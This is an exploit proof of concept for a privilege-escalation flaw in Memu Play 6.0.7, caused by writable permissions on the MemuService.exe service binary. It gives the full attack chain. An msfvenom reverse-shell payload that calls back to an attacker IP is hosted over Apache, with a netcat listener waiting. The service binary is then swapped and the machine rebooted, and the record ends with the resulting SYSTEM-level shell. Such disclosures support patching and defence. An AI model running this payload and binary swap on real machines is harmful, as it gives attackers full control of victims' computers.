Memu Play 6.0.7 - Privilege Escalation

# Exploit Title: Memu Play 6.0.7 - Privilege Escalation (PoC)
# Date: 20/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.memuplay.com/
# Software Link: https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release
# Version: 6.0.7
# Tested on: Windows 10 / Windows 7


# Description:
#  Memu Play 6.0.7 suffers from Privilege Escalation due to insecure file permissions

# Prerequisites
# Local, Low privilege access with restart capabilities

# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.  
# A low privilege account is able to rename the MemuService.exe file located in this same path and replace 
# with a malicious file that would connect back to an attacking computer giving system level privileges 
# (nt authority\system) due to the service running as Local System.  
# While a low privilege user is unable to restart the service through the application, a restart of the 
# computer triggers the execution of the malicious file.


C:\>icacls "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe"
C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe Everyone:(I)(F)
                                                      BUILTIN\Administrators:(I)(F)
                                                      BUILTIN\Users:(I)(F)
                                                      NT AUTHORITY\SYSTEM:(I)(F)


Successfully processed 1 files; Failed processing 0 files


C:\>sc qc MEmuSVC
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MEmuSVC
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0


# Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 443
    service apache2 start

3. Download malicious .exe on victim machine
    Open browser to http://192.168.1.130/MemuService.exe and download

4. Overwrite file and copy malicious .exe.
    Renename C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe > MemuService.bak
    Copy/Move downloaded 'MemuService.exe' file to C:\Program Files (x86)\Microvirt\MEmu\

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system